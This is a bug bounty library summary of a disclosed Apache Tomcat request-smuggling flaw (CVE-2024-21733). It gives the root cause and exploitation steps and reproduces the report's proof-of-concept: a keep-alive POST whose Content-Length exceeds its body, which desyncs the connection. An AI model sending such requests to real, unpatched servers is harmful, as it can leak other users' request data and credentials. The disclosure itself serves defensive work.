# CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (Client- Side Desync) (CWE: 444)

Tomcat mishandled Content-Length on incomplete POSTs, letting an attacker desync a victim's browser connection and leak another user's request data.

- Payout: $4,660
- Severity: high
- Program: Internet Bug Bounty
- Found by (vendor credit): xer0dayz from company Sn1perSecurity LLC
- Found by: xer0dayz
- Disclosed: 2024-01-29
- CVE: CVE-2024-21733
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2327341
- Library page: https://bugbountylibrary.com/r/h1%3A2327341
- Tags: area:web domain:web impact:data-leak impact:integrity kind:bounty platform:hackerone sev:high tech:java vuln:info-disclosure vuln:request-smuggling

**Target:** Apache Tomcat HTTP connector (POST request parsing)
**Root cause:** Tomcat failed to correctly process the Content-Length of POST requests, so an incomplete POST body left the connection desynchronized between client and server.
**Steps:**
1. Send a POST with `Content-Length: 6` but a body of only `X` (incomplete body) over a keep-alive connection.
2. Tomcat responds with an error response that may include data from a previous request belonging to another user.
3. Victim's browser connection stays desynchronized, so subsequent requests/responses are misaligned and sensitive data is smuggled from server/client connections.
**Exploitation:** Attacker induces a victim browser to send an incomplete POST (Content-Length larger than body) to the Tomcat server; the server's error response can contain leftover data from a prior user's request, and the desynced connection smuggles sensitive data such as clear-text credentials.
**Insight:** Incomplete POST bodies (Content-Length exceeding actual body) on keep-alive connections can leave server-side buffers misaligned; test error responses for reflected data from prior requests to detect client-side desync leaks.

## Proof of concept (copied exactly from the original report)

**Incomplete POST request with Content-Length 6**

```
POST / HTTP/1.1
Host: hostname
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Length: 6
Content-Type: application/x-www-form-urlencoded

X
```